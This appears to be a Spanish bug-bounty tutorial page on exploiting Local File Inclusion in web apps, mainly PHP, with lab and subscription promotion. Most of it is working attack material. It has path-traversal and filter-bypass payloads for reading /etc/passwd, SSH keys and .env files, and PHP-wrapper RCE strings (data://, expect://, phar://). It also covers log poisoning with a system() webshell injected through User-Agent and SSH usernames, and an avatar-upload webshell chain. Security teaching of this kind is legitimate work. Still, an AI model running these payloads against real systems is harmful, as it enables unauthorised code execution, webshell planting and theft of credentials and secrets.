Respuesta rápida
LFI permite leer (y a veces ejecutar) archivos arbitrarios del servidor via un parámetro de inclusión vulnerable. La metodología: detectar sink (?file=, ?page=, ?view=, ?include=) → traverse con ../ + variantes encoded → bypass filters (null byte, double encoding, UTF-8 overlong) → escalar a RCE via PHP wrappers, log poisoning, /proc/self/environ, o phar deserialization. Bounty típico de LFI → RCE: €2000-€10000.
Detección — qué parámetros sospechar
Cualquier parámetro que parezca cargar archivos o templates:
?file=home.html ?page=about ?view=profile
?include=header ?template=main ?lang=es
?doc=manual.pdf ?path=/img.png ?content=intro
Probe básico:
curl "https://target.com/index.php?file=../../../../etc/passwd"
curl "https://target.com/index.php?file=....//....//....//etc/passwd"
curl "https://target.com/index.php?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
Si la respuesta contiene root:x:0:0: → LFI confirmado.
Bypass de filtros — tabla de payloads
| Filtro | Bypass | Ejemplo |
|---|---|---|
Strip ../ simple | Double dots | ....//....//etc/passwd |
Strip .. recursivo | Mixed | ..././..././etc/passwd |
| URL decode una vez | Double encode | %252e%252e%252f (..%2f) |
Whitelist .png | Null byte (PHP < 5.3.4) | ../../etc/passwd%00.png |
| Whitelist absolute path | Force absolute | /var/www/html/../../etc/passwd |
| Strip slash | UTF-8 overlong | ..%c0%af..%c0%afetc%c0%afpasswd |
Append .php | Path truncation | ../../etc/passwd/././. (×4096) |
Filter passwd | Wrappers | php://filter/convert.base64-encode/resource=/etc/passwd |
[!tip] Cuándo probar double encoding Si el WAF decodifica una vez antes de aplicar la regex, double encoding (
%252e%252e%252f) pasa porque la regex ve%2e%2e%2fno../. La app decodifica una segunda vez al usar el parámetro → traversal funciona.
PHP wrappers — el ecosistema de gold
PHP soporta wrappers que cambian cómo se accede al recurso. Son la diferencia entre LFI = info leak y LFI = RCE.
php://filter — base64 source disclosure
Lee el código fuente PHP sin que se ejecute:
curl "https://target.com/index.php?file=php://filter/convert.base64-encode/resource=index.php"
# Output: PD9waHAg... → base64 decode → source code
Útil para encontrar más LFIs, sinks de SQLi, hardcoded creds.
data:// — inline code execution
Si el wrapper data está habilitado:
curl "https://target.com/index.php?file=data://text/plain,<?php%20system('id');%20?>"
expect:// — direct RCE
Requiere la extensión expect:
curl "https://target.com/index.php?file=expect://id"
phar:// — deserialization RCE
El más infravalorado. Cuando un sink de PHP llama a file_exists(), fopen(), file_get_contents(), unlink(), getimagesize() sobre una ruta phar://, el archivo .phar se deserializa automáticamente. Si la app tiene una clase con __destruct o __wakeup peligroso → RCE.
# Generar phar malicioso (PoC con gadget chain)
php -d phar.readonly=0 generate_phar.php
# Subir como avatar/imagen (content-type check pasa)
curl -F "avatar=@malicious.jpg" https://target/upload
# Trigger via LFI:
curl "https://target.com/index.php?file=phar:///var/www/uploads/avatar123.jpg/payload"
[!danger] Phar deserialization Funciona aunque el endpoint LFI sólo permita lectura — la deserialización ocurre durante el stat del archivo. PHP 8 mantiene phar habilitado por defecto. Bounty real con esta chain: €5000-€15000.
Log poisoning — LFI a RCE sin upload
Si controlas el contenido de un log que el servidor escribe, e incluyes ese log via LFI → tu payload se ejecuta como PHP.
Apache access.log
# Paso 1: inyectar payload via User-Agent
curl https://target.com/ -H "User-Agent: <?php system(\$_GET['c']); ?>"
# Paso 2: include el log
curl "https://target.com/index.php?file=/var/log/apache2/access.log&c=id"
SSH auth.log
# Paso 1: SSH con username PHP
ssh '<?php system($_GET["c"]); ?>'@target.com
# Falla el login pero queda en /var/log/auth.log
# Paso 2: include log
curl "https://target.com/index.php?file=/var/log/auth.log&c=id"
/proc/self/environ
# User-Agent inyectado se refleja en environ del proceso CGI
curl "https://target.com/index.php?file=/proc/self/environ" \
-H "User-Agent: <?php system(\$_GET['c']); ?>"
Targets típicos en cada SO
| Linux | Windows |
|---|---|
/etc/passwd | C:\Windows\win.ini |
/etc/shadow (necesita root) | C:\boot.ini (legacy) |
/etc/hosts | C:\Windows\System32\drivers\etc\hosts |
/proc/self/environ | C:\xampp\apache\logs\access.log |
/proc/self/cmdline | C:\inetpub\logs\LogFiles\ |
/var/log/apache2/access.log | C:\Windows\Panther\Unattend.xml |
/home/<user>/.ssh/id_rsa | C:\Users\<user>\.ssh\id_rsa |
~/.bash_history | C:\Users\<user>\NTUSER.DAT |
.env, wp-config.php | web.config |
LFI → RCE chain real (avatar + include)
Patrón clásico en apps PHP legacy:
<?php include $_GET['view']; ?>
# 1. Subir avatar con PHP embebido (content-type check pasa)
curl -F "avatar=@shell.jpg" https://target/upload
# shell.jpg content: <?php system($_REQUEST['c']); ?>
# 2. La app guarda en path predecible
# /var/www/html/uploads/avatars/USER_ID.jpg
# 3. Include via LFI
curl "https://target.com/layout.php?view=/var/www/html/uploads/avatars/104.jpg&c=id"
# → RCE
Stacks no-PHP — los gotchas
LFI no es exclusivo de PHP. En Java, Node y Python suele ser lectura solamente (no RCE directo), pero el impacto sigue siendo alto.
| Stack | Sink típico | Escalada |
|---|---|---|
| Java/Spring | new File(input), Files.readAllBytes | Read application.properties, .jar con secrets |
| Node.js | fs.readFile(path.join(BASE, input)) | Read .env, source .js, configs |
| Python | open(input), pathlib.Path(input).read_text | Read .env, settings.py, Django SECRET_KEY |
| Go | os.ReadFile(input) | Read configs, certs |
[!warning] Path normalization desync Node + Bun tienen casos donde el URL parser preserva
//peropath.join()colapsa. Resultado: middleware string-based (startsWith("/admin")) puede bypasearse con//admin/secret. Probar siempre//,\,%2f,%5cen parámetros que normalizan paths.
Hunting checklist
- Identificar todos los params con shape de path (
file=,view=,page=,include=) - Probe básico con
../../../../etc/passwd - Si filtra: double encoding,
....//, null byte, UTF-8 overlong - PHP detectado: probar
php://filter/convert.base64-encode/resource=index.php - Phar disponible: generar gadget chain y triggerear con
phar:// - Log poisoning: inyectar payload en User-Agent o SSH login
-
/proc/self/environpara extraer env vars (AWS keys, JWT secrets) - Source code disclosure → buscar más LFIs, SQLi, hardcoded creds
- Combinar con upload arbitrario para RCE end-to-end
- Probar en stacks no-PHP: lectura de
.env,application.properties,.git/config
Labs relacionados
Practica explotación completa de LFI desde traversal básico hasta RCE via phar y log poisoning en labs de LFI.
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Practica esto en un lab
Lfi Extraction
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Hay un payload extra al final
El truco PHP wrapper `phar://` que convierte LFI en deserialization RCE sin que el endpoint acepte uploads — funciona en 70% de apps PHP legacy.
7,99 €/mes · cancela cuando quieras
Artículos relacionados
PHP class pollution — el equivalente PHP de Prototype Pollution
Cómo PHP class pollution (vía recursive merge / object instantiation con user input) genera deserialization-like RCE en apps Laravel, Symfony, WordPress sin necesidad de gadget chains.
Headless browsers — SSRF y RCE en endpoints que renderizan URLs
Endpoints que aceptan URLs para screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) son SSRF goldmine: cloud metadata, file://, gopher://, JS injection con XSS-to-RCE en chromium sandbox.
File Upload — bypasses de extension, content-type y magic bytes
10 bypasses para subir webshells: doble extensión, null byte, content-type spoof, magic bytes, polyglots, race conditions y abuso de path traversal.
